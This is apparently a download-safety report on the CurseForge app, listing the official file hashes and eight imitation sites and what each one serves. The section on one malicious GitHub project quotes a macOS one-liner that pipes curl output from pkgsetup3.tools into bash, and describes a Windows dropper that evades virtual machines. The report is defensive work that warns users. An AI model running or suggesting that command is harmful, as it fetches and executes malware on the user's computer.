How we got this result
- Files checkedWe compare the fingerprint and the content of each file with the malware we and others have found, and look at what is inside it.5 of 5 official filesLast checked on 6 Nov 2026
- Passed Nothing harmful found in its 5 official files.Our checks look for known signs of harm. They cannot prove that a file is harmless.
At a glance
- Fake sites
- 8 fake sites found.
- Releases
- Latest release on 25 Oct 2026.
Every official file
See each file in ReleasesThe files of version 1.325.0, by system and kind of download.
Have a copy of CurseForge app? Check that it is the official one.
Drop it here. We compare its fingerprint with the official CurseForge app files and the files of the fake sites we know.
Source and links
- Official site
- curseforge.com
Which file for my computer?
Official site
8 sites use its name to give other files. See Fake sites
- Download page
- curseforge.com/download/app
- Newest version
- 1.325.0, released on 25 Oct 2026
- Ads
- Free, with ads. A subscription removes them, says its Overwolf page.
- Two versions
- A standalone app, and a version that runs inside Overwolf, a platform for in-game apps.
Passed
Nothing harmful found in its 5 official files, version 1.325.0.
Our checks look for known signs of harm. They cannot prove that a file is harmless.
What we checked
A launcher runs on your computer like any program, and it downloads the game and its mods, so harmful code in it can steal your accounts or files.
- Files checkedEach official file is downloaded on a separate machine, opened with every file inside it and never run. ClamAV, a free antivirus, and our YARA rules look for known signs of harm in all of it.
- 5 of its 5 official files, with every file inside them.
- Deep checkOur own tools read the Java code in the files and look for what harmful code does, like stealing logins or running hidden programs. They read Java code only.
- Not possible: we read the code of Java programs only, and its files hold none.
- Not read
- curseforge.com asks for a bot check, which we never pass: the files come from CurseForge's page on Overwolf's site, which links to the same download page.
What is inside
The 1 file inside CurseForge - Installer.exe.
- Programs for Windows, Mac or Linux
- None.
- Graphics
- None.
- Other
- 1 file.
Every file
- sample2978 KB
Not read
We read the code of Java programs only, and its files hold none, so we cannot tell what it sends.
Releases
Current files: the official files of version 1.325.0.
A fake site uses the name of CurseForge app to offer its download from an address that is not the official one.
How to know the official site
- Official site
- curseforge.com
- Also leads there
- curseforge.net sends you to curseforge.com.
- Files come from
- download.overwolf.com and curseforge.overwolf.com
- SHA-256A fingerprint of the file. The same fingerprint means the same file, byte for byte.
- CurseForge - Installer.exe2f749911cba7cf03a475b227297608733343c556a3a360d9ba5e10b8c6049127
The 8 fake sites we found
Of these, 1 gives a file with malware, 4 a file that is not the official one and 3 no file we could get. Sites in one fold share their pages and their download.
curseforge.siteNot the official fileOnline
Registered at NameCheap on 6 Mar 2026. Its home page is a saved copy of CurseForge's download page.
Its Windows button gives a file from a personal GitHub account (W-orld/lol), not from CurseForge or Overwolf. The same release lists audio.exe, output.b64 and other programs.
- curseforge.siteOnline. Its download buttons give a file that is not the official one.
Its download
Our scanners found nothing known in it. It is not a file of the official download page today.
It gives CurseForge.-.Installer.exe (9 MB). It is not a file of the official download page today: its SHA-256, a fingerprint of the file, matches none of them. It is not signed. ClamAV and our YARA rules found nothing in it.
Technical details
- CurseForge.-.Installer.exe
SHA-256 cd6cb2b770d6131dfeb3c0e9bb3342e00e38bbf1c682a030f014f2e74896ebe7
curseforgedownload.comcurseforge.storecurseforge.meNot the official file3 sites with the same installer. All online
Same page template as the fake TLauncher and Modrinth sites. curseforgedownload.com and curseforge.store were registered at Dynadot in the same second, on 5 Sep 2026.
Both give a Windows installer of the same size from their own server.
- curseforgedownload.comOnline. Its download buttons give a file that is not the official one.
- curseforge.storeOnline. Its download buttons give a file that is not the official one.
- curseforge.meOnline. Its download buttons give a file that is not the official one.
Their download
Signed by Overwolf Ltd, but not a file of the official download page today.
It gives CurseForge-Windows-installer.exe (3 MB), the same file from curseforgedownload.com, curseforge.me and curseforge.store. It is not a file of the official download page today: its SHA-256, a fingerprint of the file, matches none of them. It is signed by Overwolf Ltd. It describes itself as Curseforge Overwolf Ltd. ClamAV and our YARA rules found nothing in it and the 106 files inside it.
Technical details
- CurseForge-Windows-installer.exe
SHA-256 64814f92cadd2714b5416022bd7073ad8ef4fdd747517daa3639c9703dd80db4
curseforgeapp.comNo file we could getIts button leads to a page of search ads, not to a file.Online
Registered at NameCheap in 2021. It says it is not the developer of the app.
Its download button leads to truefortnite.com, a page of search ads, as do the 'PojavLauncher for PC' sites (read on 3 Nov 2026).
- curseforgeapp.comOnline. Its button leads to a page of search ads, not to a file.
Its download
Its button leads to a page of search ads, not to a file.
curseforge.ccNo file we could getIts buttons lead to the official Overwolf files, with a partner number.Online
Registered at Spaceship on 27 May 2026. 'CurseForge Guide' pages.
Its buttons lead to Overwolf's own download server, with a partner number in the Windows link.
- curseforge.ccOnline. Its buttons lead to the official Overwolf files, with a partner number.
Its download
Its buttons lead to the official Overwolf files, with a partner number.
curseforge.com.cnNo file we could getIts files are on file-sharing services, which we do not follow.Online
A Chinese page that uses the CurseForge name. Its registration date is not public.
Its downloads are on file-sharing services (Quark, Baidu and others).
- curseforge.com.cnOnline. Its files are on file-sharing services, which we do not follow.
Its download
Its files are on file-sharing services, which we do not follow.
github.com/ApparitionMayor/curseforge-appMalwareOnline
A GitHub project created on 5 Oct 2026 by a throwaway account. Its description presents it as the CurseForge app, and its page adds Windows and macOS download buttons.
The buttons lead to pages of another GitHub account, supremedeckhandwire. The same pages serve at least 15 fake projects, for Minecraft launchers, mods and other programs.
- github.com/ApparitionMayor/curseforge-appOnline. Its download buttons lead to a fake download page.
Its download
The Windows file is not the launcher: it hides from test machines and installs another hidden program. The macOS button asks you to paste a command that downloads a program.
On Windows the download page gives installer-v5.zip from resight-cheats.net, a site that offers free game cheats. On macOS it asks you to paste a command into Terminal.
The Windows program is packed so its code cannot be read. On Triage's test machines it looked for signs of a virtual machine, ran a hidden PowerShell command that reads the hardware, and installed another program under a random name in AppData. We do not know yet what that program takes.
The macOS command runs a copy of the Bun installer changed to download its program from pkgsetup3.tools.
Technical details
- installer-v5.zip
SHA-256 a450189aeaa3080a6aa1ebaf60bbca9daf921e379ddb6ebdf8d44bfcc9696fb4- installer.exe
SHA-256 23ad0d94e9eef0206a2bf1cc2bb40024e3f096345622e9a3de6a5f7bf7e3114f- macOS command
/bin/bash -c "$(curl -fsSL https://pkgsetup3.tools/xzg556frgygm)"
If you downloaded a file from one of these sites
- Drop the file in the Scanner. It tells you if it is an official file of CurseForge app or a file of these sites.
- If it is not an official file and you have not opened it, delete it.
- If you opened it: run a full scan with your antivirus. On Windows, the built-in one is Microsoft Defender, in the Windows Security app.
- If you signed in to the launcher it installed: use "sign out everywhere" in your Microsoft security settings and change your Microsoft account password.
- Get CurseForge app from its official site, curseforge.com .
- Downloads
- Not publishedCurseForge app does not publish how many times it is downloaded.
- Latest release
- 25 Oct 2026Version 1.325.0
- License
- Closed source
About
CurseForge is a desktop app for discovering, installing, updating, and organizing game mods in one place. It offers one-click installation, built-in management tools, easy updates, and version control. Players can choose a standalone app or an Overwolf version with in-game features, and downloads are offered for Windows, macOS, and Linux. The app supports mod creators by sharing 70% of its ad revenue with them. An optional Premium subscription removes ads and adds themes.
Written from its official pages: curseforge.com . How we write it